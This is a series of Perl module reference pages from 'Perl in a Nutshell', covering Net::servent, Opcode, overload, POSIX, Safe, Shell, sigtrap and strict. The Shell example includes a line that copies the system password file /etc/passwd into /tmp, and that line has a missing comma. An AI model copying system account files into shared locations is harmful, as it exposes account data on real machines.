8.112 Net::Ping | Book Index | 8.114 Net::servent


[Chapter 8] 8.114 Net::servent

Perl in a Nutshell

Perl in a NutshellSearch this book

8.114 Net::servent

Returns information for an Internet service. Overrides the core getservent, getservbyname, and getservbyport functions, replacing them with versions that return Net::servent objects. The functions take a default second argument of tcp. The objects have methods that return the fields of the same name from the servent structure in netdb.h:

Field | Description
aliases | List of aliases
name | Name of service
port | Port
proto | Protocol to use

You can access the structure fields either with the methods or by importing the fields into your namespace with the :FIELDS import tag and then accessing them by prepending s_ to the field name:

$serv_obj->name()
$s_name

  • getserv
  • getservbyname
  • getservbyport
  • getservent

Previous: 8.113 Net::protoent | Perl in a Nutshell | Next: 8.115 O
8.113 Net::protoent | Book Index | 8.115 O


[Chapter 8] 8.115 O

Perl in a Nutshell

Perl in a NutshellSearch this book

8.115 O

Generic interface to the Perl compiler backends. Also see the B module.

perl -MO=backend[,options] perlscript

Previous: 8.114 Net::servent | Perl in a Nutshell | Next: 8.116 ODBM_File
8.114 Net::servent | Book Index | 8.116 ODBM_File


[Chapter 8] 8.116 ODBM_File

Perl in a Nutshell

Perl in a NutshellSearch this book

8.116 ODBM_File

Provides Perl programs with tied access to ODBM database files. See Perl's built-in tie function and the DB_File module.

Previous: 8.115 O | Perl in a Nutshell | Next: 8.117 Opcode
8.115 O | Book Index | 8.117 Opcode


[Chapter 8] 8.117 Opcode

Perl in a Nutshell

Perl in a NutshellSearch this book

8.117 Opcode

Permits defining an operator mask so that any code containing a masked opcode will not compile or execute when Perl next compiles any code. Not usually used directly; for examples of Opcode's use, see the ops pragma and the Safe module.

Valid opcodes are listed in the array op_name in the file opcode.h. Many Opcode functions and methods take lists of operators, which are composed of elements. Each element can be a:

name (opname) or negated name

Name of operator, usually lowercase. Prefixing the name with an exclamation mark (!) removes it from the accumulated set of operations.

set (opset)

Operator set. Binary string holding a set of zero or more operators.

tag name (optag) or negated tag

Operator tag name; refers to groups (or sets) of operators. Begins with a colon (:). Negated by prefixing with an exclamation mark (!). Several optags are predefined, including the following. See the manpage for the Opcode module for the opcodes included in each tag.

:base_core      :base_io        :base_loop
:base_math      :base_mem       :base_orig
:browse         :dangerous      :default
:filesys_open   :filesys_read   :filesys_write
:others         :ownprocess     :still_to_be_decided
:subprocess     :sys_db

8.117.1 Functions

All the following functions can be exported:

  • define_optag
  • empty_opset
  • full_opset
  • invert_opset
  • opcodes
  • opdesc
  • opdump
  • opmask
  • opmask_add
  • opset
  • opset_to_hex
  • opset_to_ops
  • verify_opset

Previous: 8.116 ODBM_File | Perl in a Nutshell | Next: 8.118 ops
8.116 ODBM_File | Book Index | 8.118 ops


[Chapter 8] 8.118 ops

Perl in a Nutshell

Perl in a NutshellSearch this book

8.118 ops

Pragma that disables unsafe opcodes during compilation. Can also be used to specify opcodes to be disabled. Generally used with the -M option on the command line:

perl -Mops=:default ...    # only allow reasonably safe operations
perl -M-ops=system ...     # disable system opcode
See the Opcode module for more information.

Previous: 8.117 Opcode | Perl in a Nutshell | Next: 8.119 overload
8.117 Opcode | Book Index | 8.119 overload


[Chapter 8] 8.119 overload

Perl in a Nutshell

Perl in a NutshellSearch this book

8.119 overload

Lets you substitute class methods or your own subroutines for standard Perl operators. For example, the code:

package Number;
use overload
    "+"  => \add,
    "*=" => "muas";
declares function add for addition and method muas in the Number class (or one of its base classes) for the assignment form *= of multiplication.

Arguments to use overload are key/value pairs, where the key is the operation being overloaded, and the value is the function or method that is to be substituted. Legal values are values permitted inside a &{ ... } call, so a subroutine name, a subroutine reference, or an anonymous subroutine are all legal. Legal keys (overloadable operations) are:

Type | Operations
Arithmetic | + - * / % ** << >> x . += -= *= /= %= **= <<= >>= x= .=
Comparison | < <= > >= == != <=> lt le gt ge eq ne cmp
Bit and unary | % ^ | neg ! ~
Increment, decrement | ++ -
Transcendental | atan2 cos sin exp abs log sqrt
Boolean, string, numeric conversion | bool "" 0+
Special | nomethod fallback =

The functions specified with the use overload directive are typically called with three arguments. If the corresponding operation is binary, then the first two arguments are the two arguments of the operation. However, the first argument should always be an object in the package, so in some cases, the order of the arguments will be interchanged before the method is called. The third argument provides information on the order and can have these values:

false (0)

The order of arguments is as in the current operation.

true (1)

The arguments are reversed.

undefined

The current operation is an assignment variant, but the usual function is called instead.

Unary operations are considered binary operations with the second argument undefined.

The special nomethod key should be followed by a reference to a function of four parameters and called when the overloading mechanism cannot find a method for some operation. The first three arguments are the arguments for the corresponding method if it were found; the fourth argument is the symbol corresponding to the missing method. If several methods are tried, the last one is used.

For example, 1-$a can be equivalent to:

&nomethodMethod($a, 1, 1, "-")
if the pair "nomethod" => "nomethodMethod" was specified in the use overload directive.

The special fallback key governs what to do if a method for a particular operation is not found. There are three possible cases, depending on the value associated with the fallback key:

undefined

Tries to use a substituted method. If that fails, it tries to call the method specified for nomethod; if that also fails, an exception is raised.

true

The same as undefined, but no exception is raised. Instead, Perl silently reverts to non-overloaded operation.

defined, but false

Tries to call the method specified for nomethod; if that fails, an exception is raised.

The overload module provides the following public functions:

  • StrVal
  • Overloaded
  • Method

Previous: 8.118 ops | Perl in a Nutshell | Next: 8.120 Pod::Functions
8.118 ops | Book Index | 8.120 Pod::Functions


[Chapter 8] 8.12 B::CC

Perl in a Nutshell

Perl in a NutshellSearch this book

8.12 B::CC

The CC backend for the Perl compiler. Generates optimized C source code that corresponds to your program's flow. The initial version included in Perl 5.005 actually includes few optimizations, but this will change. Programs compiled with this backend may both start up and execute slightly faster. Invoke as:

perl -MO=C[,options] program
where program is the name of the Perl script to compile. Any non-option arguments are treated as the names of objects to be saved; the main program is assumed if there are no extra arguments. Possible options are:

--

Forces end of options.

-Dopts

Debug options, which can be either concatenated or specified separately. Possible options are:

l

Outputs the filename and line number of each original line of Perl code as it is processed.

O

Outputs each OP as it is compiled.

p

Outputs the contents of the shadow pad of lexicals as it is loaded for each sub or for the main program.

q

Outputs the name of each fake PP function in the queue as it's about to be processed.

r

Writes debugging output to STDERR instead of as comments in the C output.

s

Outputs the contents of the shadow stack at each OP.

t

Outputs timing information of the stages of compilation.

-fopt

Forces individual optimizations on or off. Possible values of opt are:

freetmps-each-bblock

Runs FREETMPS at the end of each basic block instead of at the end of each statement. freetmps-each-loop and freetmps-each-bblock are mutually exclusive.

freetmps-each-loop

Runs FREETMPS at the end of each loop instead of at the end of each statement. freetmps-each-loop and freetmps-each-bblock are mutually exclusive.

omit-taint

Doesn't generate code for handling Perl's tainting mechanism.

-mModulename

Generates source for an XSUB module instead of for an executable.

-ofilename

Sends output to filename instead of to STDOUT.

-O[n]

Sets optimization level, where n is an integer. n defaults to 1. Currently, -O1 sets -ffreetmps-each-bblock, and -O2 sets -ffreetmps-each-loop.

-uPackname

Forces apparently unused subroutines from package Packname to be compiled, permitting programs to use eval "foo()" even if subroutine foo isn't seen to be used at compile time. You can specify multiple -u options.

-v

Compiles verbosely.

Previous: 8.11 B::C | Perl in a Nutshell | Next: 8.13 B::Debug
8.11 B::C | Book Index | 8.13 B::Debug


[Chapter 8] 8.120 Pod::Functions

Perl in a Nutshell

Perl in a NutshellSearch this book

8.120 Pod::Functions

Used internally by Pod::Html for use in converting from pod to HTML.

Previous: 8.119 overload | Perl in a Nutshell | Next: 8.121 Pod::Html
8.119 overload | Book Index | 8.121 Pod::Html


[Chapter 8] 8.121 Pod::Html

Perl in a Nutshell

Perl in a NutshellSearch this book

8.121 Pod::Html

Converts files from pod to HTML format. Not generally used directly, but via the pod2html script (see Chapter 4), which is included in the standard distribution.

Previous: 8.120 Pod::Functions | Perl in a Nutshell | Next: 8.122 Pod::Text
8.120 Pod::Functions | Book Index | 8.122 Pod::Text


[Chapter 8] 8.122 Pod::Text

Perl in a Nutshell

Perl in a NutshellSearch this book

8.122 Pod::Text

Converts files from pod format to formatted ASCII text. Not generally used directly, but via the pod2text script (see Chapter 4). Termcap is optionally supported for boldface and underlining and can be enabled with:

$Pod::Text::termcap=1
Otherwise, backspaces are used to simulate bold and underlined text. Exports one function:

  • pod2text

Previous: 8.121 Pod::Html | Perl in a Nutshell | Next: 8.123 POSIX
8.121 Pod::Html | Book Index | 8.123 POSIX


[Chapter 8] 8.123 POSIX

Perl in a Nutshell

Perl in a NutshellSearch this book

8.123 POSIX

Provides access to standard POSIX 1003.1 identifiers: functions, classes, and constants. Can be used to import one or multiple symbols:

use POSIX;                        # import all symbols
use POSIX qw(setsid);             # import one symbol
use POSIX qw(:errno_h :fcntl_h);  # import sets of symbols
Functions listed as C-specific are not implemented.

_exit | Identical to C function _exit(2)
abort | Identical to C function abort(3)
abs | Identical to Perl's abs function
access | Determines accessibility of a file; returns undef on failure
acos | Identical to C function acos(3)
alarm | Identical to Perl's alarm function
asctime | Identical to C function asctime(3)
asin | Identical to C function asin(3)
assert | Similar to C macro assert(3)
atan | Identical to C function atan(3)
atan2 | Identical to Perl's atan2 function
atexit | C-specific; use END {}
atof | C-specific
atoi | C-specific
atol | C-specific
bsearch | Not supplied
calloc | C-specific
ceil | Identical to C function ceil(3)
chdir | Identical to Perl's chdir function
chmod | Identical to Perl's chmod function
chown | Identical to Perl's chown function
clearerr | Uses method FileHandle::clearerr
clock | Identical to C function clock(3)
close | Closes a file; returns undef on failure
closedir | Identical to Perl's closedir function
cos | Identical to Perl's cos function
cosh | Identical to C function cosh(3)
creat | Creates a new file
ctermid | Generates path name for the controlling terminal
ctime | Identical to C function ctime(3)
cuserid | Gets user's login name
difftime | Identical to C function difftime(3)
div | C-specific
dup | Similar to C function dup(2); returns undef on failure
dup2 | Similar to C function dup2(2); returns undef on failure
errno | Returns the value of errno
execl | C-specific; use Perl's exec
execle | C-specific; use Perl's exec
execlp | C-specific; use Perl's exec
execv | C-specific; use Perl's exec
execve | C-specific; use Perl's exec
execvp | C-specific; use Perl's exec
exit | Identical to Perl's exit function
exp | Identical to Perl's exp function
fabs | Identical to Perl's abs function
fclose | Uses method FileHandle::close
fcntl | Identical to Perl's fcntl function
fdopen | Uses method FileHandle::new_from_fd
feof | Uses method FileHandle::eof
ferror | Uses method FileHandle::error
fflush | Uses method FileHandle::flush
fgetc | Uses method FileHandle::getc
fgetpos | Uses method FileHandle::getpos
fgets | Uses method FileHandle::gets
fileno | Uses method FileHandle::fileno
floor | Identical to C function floor(3)
fmod | Identical to C function fmod(3)
fopen | Uses method FileHandle::open
fork | Identical to Perl's fork function
fpathconf | Returns value of a configurable limit on a file or directory, or undef on failure
fprintf | C-specific; use Perl's printf function
fputc | C-specific; use Perl's print function
fputs | C-specific; use Perl's print function
fread | C-specific; use Perl's read function
free | C-specific
freopen | C-specific; use Perl's open function
frexp | Returns mantissa and exponent of a floating-point number
fscanf | C-specific; use <> and regular expressions
fseek | Uses method FileHandle::seek
fsetpos | Uses method FileHandle::setpos
fstat | Gets file status
ftell | Uses method FileHandle::tell
fwrite | C-specific; use Perl's print function
getc | Identical to Perl's etc function
getchar | Returns one character from STDIN
getcwd | Returns name of current working directory
getegid | Returns effective group ID (gid)
getenv | Returns value of the specified environment variable
geteuid | Returns the effective user ID (uid)
getgid | Returns the user's real group ID (gid)
getgrgid | Identical to Perl's getgrgid function
getgrnam | Identical to Perl's getgrnam function
getgroups | Returns ids of the user's supplementary groups
getlogin | Identical to Perl's getlogin function
getpgrp | Identical to Perl's getpgrp function
getpid | Returns ID of the process (pid)
getppid | Identical to Perl's getppid function
getpwnam | Identical to Perl's getpwnam function
getpwuid | Identical to Perl's getpwuid function
gets | Returns one line from STDIN
getuid | Returns user's ID (uid)
gmtime | Identical to Perl's gmtime function
isalnum | Identical to C function, but can apply to one character or a whole string
isalpha | Identical to C function, but can apply to one character or a whole string
isatty | Returns Boolean indicating whether the specified filehandle is connected to a TTY
iscntrl | Identical to C function, but can apply to one character or a whole string
isdigit | Identical to C function, but can apply to one character or a whole string
isgraph | Identical to C function, but can apply to one character or a whole string
islower | Identical to C function, but can apply to one character or a whole string
isprint | Identical to C function, but can apply to one character or a whole string
ispunct | Identical to C function, but can apply to one character or a whole string
isspace | Identical to C function, but can apply to one character or a whole string
isupper | Identical to C function, but can apply to one character or a whole string
isxdigit | Identical to C function, but can apply to one character or a whole string
kill | Identical to Perl's kill function
labs | C-specific; use Perl's abs function
ldexp | Identical to C function ldexp(3)
ldiv | C-specific; use division operator (/) and Perl's int function
link | Identical to Perl's link function
localeconv | Gets numeric formatting information. Returns reference to a hash containing the current locale formatting values.
localtime | Identical to Perl's localtime function
log | Identical to Perl's log function
log10 | Identical to C function log10(3)
longjmp | C-specific; use Perl's die function
lseek | Moves the read/write file pointer; returns undef on failure
malloc | C-specific
mblen | Identical to C function mblen(3)
mbstowcs | Identical to C function mbstowcs(3)
mbtowc | Identical to C function mbtowc(3)
memchr | C-specific; use Perl's index
memcmp | C-specific; use eq
memcpy | C-specific; use =
memmove | C-specific; use =
memset | C-specific; use x
mkdir | Identical to Perl's mkdir function
mkfifo | Similar to C function mkfifo(2); returns undef on failure
mktime | Converts date/time information to a calendar time; returns undef on failure
modf | Returns integral and fractional parts of a floating-point number
nice | Similar to C function nice(3); returns undef on failure
offsetof | C-specific
open | Opens file for reading or writing; returns undef on failure
opendir | Opens directory for reading; returns undef on failure
pathconf | Retrieves value of a configurable limit on a file or directory; returns undef on failure
pause | Similar to C function pause(3); returns undef on failure
perror | Identical to C function perror(3)
pipe | Creates an interprocess channel
pow | Computes $x raised to the power $exponent
printf | Prints specified arguments to STDOUT
putc | C-specific; use Perl's print function
putchar | C-specific; use Perl's print function
puts | C-specific; use Perl's print function
qsort | C-specific; use Perl's sort function
raise | Sends specified signal to current process
rand | Non-portable; use Perl's rand function
read | Reads from a file; returns undef on failure
readdir | Identical to Perl's readdir function
realloc | C-specific
remove | Identical to Perl's unlink function
rename | Identical to Perl's rename function
rewind | Seeks to beginning of file
rewinddir | Identical to Perl's rewinddir function
rmdir | Identical to Perl's rmdir function
scanf | C-specific; use <> and regular expressions
setgid | Sets real group id for this process
setjmp | C-specific; use eval {}
setlocale | Modifies and queries program's locale
setpgid | Similar to C function setpgid(2); returns undef on failure
setsid | Identical to C function setsid(8)
setuid | Sets real user ID for this process
sigaction | Detailed signal management; returns undef on failure
siglongjmp | C-specific; use Perl's die function
sigpending | Examines blocked, pending signals and returns undef on failure
sigprocmask | Changes and/or examines this process's signal mask; returns undef on failure
sigsetjmp | C-specific; use eval {}
sigsuspend | Installs signal mask and suspends process until signal arrives; returns undef on failure
sin | Identical to Perl's sin function
sinh | Identical to C function sinh(3)
sleep | Identical to Perl's sleep function
sprintf | Identical to Perl's sprintf function
sqrt | Identical to Perl's sqrt function
srand | Identical to Perl's srand function
sscanf | C-specific; use regular expressions
stat | Identical to Perl's stat function
strcat | C-specific; use .=
strchr | C-specific; use index
strcmp | C-specific; use eq
strcoll | Identical to C function strcoll(3)
strcpy | C-specific; use =
strcspn | C-specific; use regular expressions
strerror | Returns error string for the specified errno
strftime | Converts date and time to string and returns the string
strlen | C-specific; use length
strncat | C-specific; use .= and/or substr
strncmp | C-specific; use eq and/or substr
strncpy | C-specific; use = and/or substr
stroul | C-specific
strpbrk | C-specific
strrchr | C-specific; use rindex and/or substr
strspn | C-specific
strstr | Identical to Perl's index function
strtod | C-specific
strtok | C-specific
strtol | C-specific
strtoul | C-specific
strxfrm | String transformation; returns the transformed string
sysconf | Retrieves values of system configurable variables; returns undef on failure
system | Identical to Perl's system function
tan | Identical to C function tan(3)
tanh | Identical to C function tanh(3)
tcdrain | Similar to C function tcdrain(3); returns undef on failure
tcflow | Similar to C function tcflow(3); returns undef on failure
tcflush | Similar to C function tcflush(3); returns undef on failure
tcgetpgrp | Identical to C function tcgetpgrp(3)
tcsendbreak | Similar to C function tcsendbreak(3); returns undef on failure
tcsetpgrp | Similar to C function tcsetpgrp(3); returns undef on failure
time | Identical to Perl's time function
times | Returns, in clock ticks, elapsed realtime since some point in the past, user and system times for this process, and user and system times for child processes
tmpfile | Uses method FileHandle::new_tmpfile
tmpnam | Returns a name for a temporary file
tolower | Identical to Perl's lc function
toupper | Identical to Perl's uc function
ttyname | Identical to C function ttyname(3)
tzname | Retrieves time conversion information from the tzname variable
tzset | Identical to C function tzset(3)
umask | Identical to Perl's umask function
uname | Gets name of current operating system
ungetc | Uses method FileHandle::ungetc
unlink | Identical to Perl's unlink function
utime | Identical to Perl's utime function
vfprintf | C-specific
vprintf | C-specific
vsprintf | C-specific
wait | Identical to Perl's wait function
waitpid | Waits for child process to change state; identical to Perl's waitpid function
wcstombs | Identical to C function wcstombs(3)
wctomb | Identical to C function wctomb(3)
write | Writes to file; returns undef on failure

The following sections show the classes that are defined and their methods:

8.123.1 POSIX::SigAction

  • new

8.123.2 POSIX::SigSet

  • new
  • addset
  • delset
  • emptyset
  • fillset
  • ismember

8.123.3 POSIX::Termios

  • new
  • getattr
  • getcc
  • getcflag
  • getiflag
  • getispeed
  • getlflag
  • getoflag
  • getospeed
  • setattr
  • setcc
  • setcflag
  • setiflag
  • setispeed
  • setlflag
  • setoflag
  • setospeed

8.123.4 Constants

The following constants are associated with the Termios class:

Baud rate values

B0  B75  B134 B200 B600  B1800 B4800 B19200
B50 B110 B150 B300 B1200 B2400 B9600 B38400

c_cc index values

VEOF VERASE VKILL VSUSP  VSTOP VTIME
VEOL VINTR  VQUIT VSTART VMIN  NCCS

c_cflag field values

CLOCAL CSIZE CS6 CS8    HUPCL  PARODD
CREAD  CS5   CS7 CSTOPS PARENB

c_iflag field values

BRKINT IGNBRK IGNPAR INPCK  IXOFF PARMRK
ICRNL  IGNCR  INLCR  ISTRIP IXON

c_lflag field values

ECHO  ECHONL ISIG
ECHOE ICANON NOFLSH
ECHOK IEXTEN TOSTOP

c_oflag field values

OPOST

Terminal interface values

TCSADRAIN TCIOFLUSH TCIFLUSH
TCSANOW   TCOFLUSH  TCSAFLUSH
TCOON     TCION     TCIOFF

The following are other constants defined in the POSIX module:

Pathname constants

_PC_CHOWN_RESTRICTED  _PC_LINK_MAX  _PC_MAX_CANON
_PC_MAX_INPUT         _PC_NAME_MAX  _PC_NO_TRUNC
_PC_PATH_MAX          _PC_PIPE_BUF  _PC_VDISABLE

POSIX constants

_POSIX_ARG_MAX      _POSIX_CHILD_MAX  _POSIX_CHOWN_RESTRICTED
_POSIX_JOB_CONTROL  _POSIX_LINK_MAX   _POSIX_MAX_CANON
_POSIX_MAX_INPUT    _POSIX_NAME_MAX   _POSIX_NGROUPS_MAX
_POSIX_NO_TRUNC     _POSIX_OPEN_MAX   _POSIX_PATH_MAX
_POSIX_PIPE_BUF     _POSIX_SAVED_IDS  _POSIX_SSIZE_MAX
_POSIX_STREAM_MAX   _POSIX_TZNAME_MAX _POSIX_VDISABLE
_POSIX_VERSION

System configuration

_SC_ARG_MAX      _SC_CHILD_MAX  _SC_CLK_TCK    _SC_JOB_CONTROL
_SC_NGROUPS_MAX  _SC_OPEN_MAX   _SC_SAVED_IDS  _SC_STREAM_MAX
_SC_TZNAME_MAX   _SC_VERSION

Error constants

E2BIG   EACCES  EAGAIN    EBADF   EBUSY   ECHILD  EDEADLK
EDOM    EEXIST  EFAUL     EFBIG   EINTR   EINVAL
EIO     EISDIR  EMFILE    EMLINK  ENAMETOOLONG    ENFILE
ENODE   ENOENT  ENOEXEC   ENOLCK  ENOMEM  ENOSPC
ENOSYS  ENOTDIR ENOTEMPTY ENOTTY  ENXIO   EPERM
EPIPE   ERANGE  EROFS     ESPIPE  ESRCH   EXDEV

File control constants

FD_CLOEXEC  F_DUPFD    F_GETFD   F_GETFL  F_GETLK   F_OK
F_RDLCK     F_SETFD    F_SETFL   F_SETLK  F_SETLKW  F_UNLCK
F_WRLCK     O_ACCMODE  O_APPEND  O_CREAT  O_EXCL    O_NOCTTY
O_NONBLOCK  O_RDONLY   O_RDWR    O_TRUNC  O_WRONLY

Floating-point constants

DBL_DIG         DBL_EPSILON     DBL_MANT_DIG  DBL_MAX
DBL_MAX_10_EXP  DBL_MAX_EXP     DBL_MIN       DBL_MIN_10_EXP
DBL_MIN_EXP     FLT_DIG         FLT_EPSILON   FLT_MANT_DIG
FLT_MAX         FLT_MAX_10_EXP  FLT_MAX_EXP   FLT_MIN
FLT_MIN_10_EXP  FLT_MIN_EXP     FLT_RADIX     FLT_ROUNDS
LDBL_DIG        LDBL_EPSILON    LDBL_MANT_DIG LDBL_MAX
LDBL_MAX_10_EXP LDBL_MAX_EXP    LDBL_MIN      LDBL_MIN_10_EXP
LDBL_MIN_EXP

Limit constants

ARG_MAX    CHAR_BIT  CHAR_MAX    CHAR_MIN    CHILD_MAX
INT_MAX    INT_MIN   LINK_MAX    LONG_MAX    LONG_MIN
MAX_CANON  MAX_INPUT MB_LEN_MAX  NAME_MAX    NGROUPS_MAX
OPEN_MAX   PATH_MAX  PIPE_BUF    SCHAR_MAX   SCHAR_MIN
SHRT_MAX   SHRT_MIN  SSIZE_MAX   STREAM_MAX  TZNAME_MAX
UCHAR_MAX  UINT_MAX  ULONG_MAX   USHRT_MAX

Locale constants

LC_ALL  LC_COLLATE  LC_CTYPE  LC_MONETARY  LC_NUMERIC  LC_TIME

Math constants

HUGE_VAL

Signal constants

SA_NOCLDSTOP SIGABRT    SIGALRM    SIGCHLD  SIGCONT  SIGFPE
SIGHUP       SIGILL     SIGINT     SIGKILL  SIGPIPE  SIGQUIT
SIGSEGV      SIGSTOP    SIGTERM    SIGTSTP  SIGTTIN  SIGTTOU
SIGUSR1      SIGUSR2    SIG_BLOCK  SIG_DFL  SIG_ERR  SIG_IGN
SIG_SETMASK  SIG_UNBLOCK

Stat constants

S_IRGRP  S_IROTH  S_IRUSR  S_IRWXG  S_IRWXO  S_IRWXU  S_ISGID
S_ISUID  S_IWGRP  S_IWOTH  S_IWUSR  S_IXGRP  S_IXOTH  S_IXUSR

Stat macros

S_ISBLK  S_ISCHR  S_ISDIR  S_ISFIFO  S_ISREG

Stdlib constants

EXIT_FAILURE  EXIT_SUCCESS  MB_CUR_MAX  RAND_MAX

Stdio constants

BUFSIZ  EOF  FILENAME_MAX  L_ctermid  L_cuserid  L_tmpname  TMP_MAX

Time constants

CLK_TCK  CLOCKS_PER_SEC

Unistd constants

R_OK   SEEK_CUR  SEEK_END       SEEK_SET  STDIN_FILENO
STDOUT_FILENO    STRERR_FILENO  W_OK      X_OK

Wait constants

WNOHANG  WUNTRACED

Wait macros

WIFEXITED  WEXITSTATUS  WIFSIGNALED  WTERMSIG   WIFSTOPPED   WSTOPSIG

Previous: 8.122 Pod::Text | Perl in a Nutshell | Next: 8.124 re
8.122 Pod::Text | Book Index | 8.124 re


[Chapter 8] 8.124 re

Perl in a Nutshell

Perl in a NutshellSearch this book

8.124 re

Pragma that lets you alter the behavior of regular expressions. Permits the following alterations:

use re 'debug'

Causes Perl to produce debugging messages when compiling and at run time when using regular expressions. See the re manpage and the section on "Debugging regular expressions" in the perldebug manpage for details.

use re 'eval'

Permits a regular expression to contain (?{...}) zero-width assertion even if the regular expression contains variable interpolation, which normally isn't permitted for security reasons. The pragma is ignored if the regular expression comes from tainted data.

use re 'taint'

When a tainted string is the target of a regular expression, causes the regular expression memories (or the values returned by the m// operator in list context) to be tainted.

Previous: 8.123 POSIX | Perl in a Nutshell | Next: 8.125 Safe
8.123 POSIX | Book Index | 8.125 Safe


[Chapter 8] 8.125 Safe

Perl in a Nutshell

Perl in a NutshellSearch this book

8.125 Safe

Creates compartments for evaluating untrusted Perl code. Each compartment has an associated operator mask for excluding particular Perl operators from the compartment. See the Opcode module for more information on operators and operator masks. The default mask is applied during compilation to prevent all operations that give access to the system. Safe provides the following methods:

  • new
  • mask
  • rdo
  • reval
  • root
  • share
  • trap
  • untrap
  • varglob

The following subroutines are available for export by Safe. The operator names can be found in the array op_name in the file opcode.h in the Perl distribution.

  • emptymask
  • fullmask
  • mask_to_ops
  • MAXO
  • opcode
  • op_mask
  • opname
  • ops_to_mask

Previous: 8.124 re | Perl in a Nutshell | Next: 8.126 SDBM_File
8.124 re | Book Index | 8.126 SDBM_File


[Chapter 8] 8.126 SDBM_File

Perl in a Nutshell

Perl in a NutshellSearch this book

8.126 SDBM_File

Provides Perl programs with tied access to SDBM database files. See Perl's built-in tie function and the DB_File module.

Previous: 8.125 Safe | Perl in a Nutshell | Next: 8.127 Search::Dict
8.125 Safe | Book Index | 8.127 Search::Dict


[Chapter 8] 8.127 Search::Dict

Perl in a Nutshell

Perl in a NutshellSearch this book

8.127 Search::Dict

Searches for a key in an ordered text file and sets the file position. Exports one function:

  • look

Previous: 8.126 SDBM_File | Perl in a Nutshell | Next: 8.128 SelectSaver
8.126 SDBM_File | Book Index | 8.128 SelectSaver


[Chapter 8] 8.128 SelectSaver

Perl in a Nutshell

Perl in a NutshellSearch this book

8.128 SelectSaver

Provides a way to save and restore filehandles so you can temporarily use a different filehandle.

  • new

Previous: 8.127 Search::Dict | Perl in a Nutshell | Next: 8.129 SelfLoader
8.127 Search::Dict | Book Index | 8.129 SelfLoader


[Chapter 8] 8.129 SelfLoader

Perl in a Nutshell

Perl in a NutshellSearch this book

8.129 SelfLoader

Used when you want to include functions in your program, but you want to load them only if necessary. Functions to be self-loaded are placed after the line:

__DATA__
in your program. When the code is compiled, compilation stops at the __DATA__ token. The SelfLoader exports the AUTOLOAD subroutine to the package; this subroutine loads the subroutines after __DATA__ when they are required.

Previous: 8.128 SelectSaver | Perl in a Nutshell | Next: 8.130 Shell
8.128 SelectSaver | Book Index | 8.130 Shell


[Chapter 8] 8.13 B::Debug

Perl in a Nutshell

Perl in a NutshellSearch this book

8.13 B::Debug

Walks the Perl syntax tree, printing debug information about ops. Invoke as:

perl -MO=Debug[,exec] filename
If exec is specified, walks in execution order rather than in syntax order.

Previous: 8.12 B::CC | Perl in a Nutshell | Next: 8.14 B::Deparse
8.12 B::CC | Book Index | 8.14 B::Deparse


[Chapter 8] 8.130 Shell

Perl in a Nutshell

Perl in a NutshellSearch this book

8.130 Shell

Allows you to invoke Unix shell utilities as if they were Perl subroutines. Arguments (including switches) are passed to the utilities as strings:

use Shell qw(date cp ps);  # list shell commands you want to use

$date = date();   # put the output of the date(1) command into $date
cp("-p" "/etc/passwd", "/tmp/passwd");  # copy password file to a tmp file
print ps("-ww");  # print the results of a "ps -ww" command

Previous: 8.129 SelfLoader | Perl in a Nutshell | Next: 8.131 sigtrap
8.129 SelfLoader | Book Index | 8.131 sigtrap


[Chapter 8] 8.131 sigtrap

Perl in a Nutshell

Perl in a NutshellSearch this book

8.131 sigtrap

Pragma to enable simple signal handling. Provides two signal handlers that can be installed, or you can install your own handler; also provides options to specify which signals to trap. Ignores requests to trap signals not used in your system's architecture.

use sigtrap;               # initialize default signal handlers
use sigtrap qw(die normal-signals);
use sigtrap 'handler' => \handlername, 'normal-signals';
use sigtrap qw(handler handlername normal-signals
               stack-trace error-signals);

8.131.1 Signal Handler Options

Used to specify which handler is to be installed and used for signals installed after the handler:

die

Installs handler that dies with a message indicating what signal was trapped.

handler handlername

Installs your handler handlername.

stack-trace

Default signal handler. Outputs stack trace to STDERR and tries to dump core.

8.131.2 Signal List Options

You can specify your own list of options:

use sigtrap qw(BUS SEGV PIPE ABRT);
or use one of the following built-in option lists:

error-signals

Signals that indicate a serious problem: ABRT, BUS, EMT, FPE, ILL, QUIT, SEGV, SYS, and TRAP.

normal-signals

Signals a program is most likely to encounter: HUP, INT, PIPE, and TERM.

old-interface-signals

Default. Signals trapped by default in older versions of sigtrap: ABRT, BUS, EMT, FPE, ILL, PIPE, QUIT, SEGV, SYS, TERM, and TRAP.

8.131.3 Other Options

any

Installs handlers only for subsequently listed signals that aren't already taken care of.

number

Requires that the version of sigtrap being used must be at least number.

signal

Installs a handler for any argument that looks like a signal name.

untrapped

Installs handlers only for subsequently listed signals not already trapped or ignored.

Previous: 8.130 Shell | Perl in a Nutshell | Next: 8.132 Socket
8.130 Shell | Book Index | 8.132 Socket


[Chapter 8] 8.132 Socket

Perl in a Nutshell

Perl in a NutshellSearch this book

8.132 Socket

Translation of the C socket.h file that uses h2xs and your C compiler. See Chapter 13 for the details.

Previous: 8.131 sigtrap | Perl in a Nutshell | Next: 8.133 strict
8.131 sigtrap | Book Index | 8.133 strict


[Chapter 8] 8.133 strict

Perl in a Nutshell

Perl in a NutshellSearch this book

8.133 strict

Pragma for doing strict error checking within the current block. Can be turned off by prefixing with no:

use strict 'vars';
...
no strict 'vars';
Provides three kinds of restriction:
strict 'refs'

Generates runtime error if you use any symbolic references.

strict 'subs'

Generates compile-time error if you use a bareword identifier that's not a predeclared subroutine.

strict 'vars'

Generates compile-time error if you access a variable that wasn't declared via my, isn't fully qualified, or wasn't imported.

use strict by itself (with no import list) is the most restrictive, causing all possible restrictions to be imposed.

Previous: 8.132 Socket | Perl in a Nutshell | Next: 8.134 subs
8.132 Socket | Book Index | 8.134 subs


[Chapter 8] 8.134 subs

Perl in a Nutshell

Perl in a NutshellSearch this book

8.134 subs

Pragma that predeclares subroutines whose names are given in a list:

use subs qw(sub[, ...]);
sub $arg[, ...];
This lets you use the subroutines without parentheses even before they're defined, and lets you override built-in functions.

Previous: 8.133 strict | Perl in a Nutshell | Next: 8.135 Symbol
8.133 strict | Book Index | 8.135 Symbol


[Chapter 8] 8.135 Symbol

Perl in a Nutshell

Perl in a NutshellSearch this book

8.135 Symbol

Provides functions for creating anonymous globs and qualifying variable names. Exports the following:

  • gensym
  • ungensym
  • qualify
  • qualify_to_ref

Previous: 8.134 subs | Perl in a Nutshell | Next: 8.136 Sys::Hostname
8.134 subs | Book Index | 8.136 Sys::Hostname


[Chapter 8] 8.136 Sys::Hostname

Perl in a Nutshell

Perl in a NutshellSearch this book

8.136 Sys::Hostname

